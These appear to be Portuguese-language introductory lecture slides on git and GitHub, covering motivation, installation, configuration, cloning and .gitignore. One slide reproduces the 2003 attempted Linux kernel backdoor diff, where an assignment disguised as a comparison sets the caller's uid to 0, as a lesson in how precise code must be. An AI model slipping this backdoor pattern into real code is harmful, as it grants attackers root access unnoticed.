Uma introdução ao git e ao GitHub

Sistema distribuído de controle de versão e rede social de projetos/códigos fontes

Fabrício Cabral

IFPE

Outubro 2023

Motivação (1/4)

O desenvolvimento de um software é uma atividade de natureza complexa, precisa, colaborativa e evolutiva

- **Complexa**, pois é composta de várias partes que precisam interagir de forma harmoniosa
- **Precisa**, pois a troca de uma operação (“+” por “-”) pode por todo o trabalho a perder
- **Colaborativa**, pois necessita de várias pessoas trabalhando simultâneamente
- **Evolutiva**, pois nasce pequeno e simples e com o passar do tempo torna-se maior e complexo

Motivação (2/4)

Devido a esta natureza, são necessárias ferramentas que auxiliem no processo de codificação, construção, verificação, colaboração e evolução

- Muitas pessoas participam simultâneamente do desenvolvimento
- Qual a razão e quem efetuou a mudança?
- Quais os arquivos e linhas foram modificadas?
- Quando a mudança foi realizada?
- Como desfazer uma mudança específica?
- Qual mudança ocasionou um bug?

Motivação (3/4)

- Quando uma criança nasce, geralmente cria-se um álbum de fotografias que ilustra a sua evolução
  - O nascimento, mamando, 1º banho, abrindo os olhos pela 1ª vez, ficando em pé, 1ª papinha, 1ª vez que andou, indo pela 1ª vez para a escola, etc.
- Por que então não fazer um "álbum de fotografias" do seu projeto?

Motivação (3/4)

- Facilitar o trabalho colaborativo
  - Gerenciar o conflito entre modificações
- Facilitar a modificação do código fonte
  - Backup dos arquivos
  - Modificação nos arquivos
  - Se a modificação deu errado, restaura o backup
  - Depois o desenvolvedor vislumbra como a modificação poderia ter dado certo, mas aí já é tarde

Exemplo de precisão da atividade

Tentativa de colocar um backdoor no kernel do Linux

```
--- GOOD            2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
                schedule();
                goto repeat;
        }
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;
        retval = -ECHILD;
    end_wait4:
        current->state = TASK_RUNNING;
```

Git (1/2)

- Sistema distribuído para Gerenciamento de Código Fonte (SCM)
- Desenvolvido pelo Linus Torvalds para auxiliar no desenvolvimento do kernel do Linux
- Focado em desempenho
- Permite trabalhar offline
  - Conexão com o servidor apenas para compartilhar informações
- Altamente customizável

Git (2/2)

- Integração com a maioria das ferramentas de desenvolvimento
  - Eclipse, NetBeans, IntelliJ IDEA, Visual Studio, Visual Studio Code, Xcode, etc.
- Análises indicam que o git hoje é o SCM mais usado no mundo
- Quem usa os outros SCMs (CVS, SVN, Mercurial, etc.) pretende migrar para o git
- **O git virou o padrão de fato**

Instalação do git no Linux

- Debian e afins (Ubuntu)

```
$ apt-get -y install git-all
```

- Fedora e afins

```
$ yum install git-all
```

Instalação do git no Windows

- Download
- Siga as instruções e configurações padrão do instalador

Iniciando o git

1. Configurar o nome e e-mail do desenvolvedor
   1.1 Configurar o proxy se necessário
2. Criar um repositório local do projeto
   2.1 Pode-se baixar um projeto já existente
3. Informar quais arquivos não se deve acompanhar a evolução
4. Fazer o commit inicial

Configurar nome e e-mail

- Configurar o nome e o e-mail do desenvolvedor

```
$ git config --global user.name "Seu␣Nome"
$ git config --global user.email "seu-
    email@provedor.com"
```

- As configurações acima só precisam ser feitas uma única vez por usuário/máquina

Configurando o proxy

- Informe ao git o usuário, senha, o host / endereço IP e porta do servidor proxy

```
$ git config --global http.proxy http://usuario:
    senha@servidorproxy.com:porta
```

- Note que as informações do usuário e senha vão ficar em *plain text* em um arquivo!
- Por segurança (mas não é essencial) restrinja o acesso de leitura/escrita ao arquivo de configuração

```
$ chmod 600 .gitconfig
```

Criando um repositório local

- Novo projeto

```
$ git init
```

- Projeto já existente

```
$ git clone <URL>
```

- Exemplo:

```
$ git clone https://github.com/fabriciofx/
    mandacarupark.git
```

Ignorando arquivos

- Não faz sentido acompanhar a evolução de todos os arquivos contidos em um projeto
  - Produto e subproduto da compilação (`*.class`, `*.obj`, `*.exe`, `target/`, etc.)
  - Configuração das IDEs (`.settings`, `.idea`, etc.)
  - Arquivos intermediários gerados pelo LaTeX
  - Imagens geradas
- Criar um arquivo `.gitignore` dentro do seu projeto contendo nomes/padrões dos arquivos
- Construindo o seu `.gitignore`
  - gitignore.io
  - <https://github.com/github/gitignore>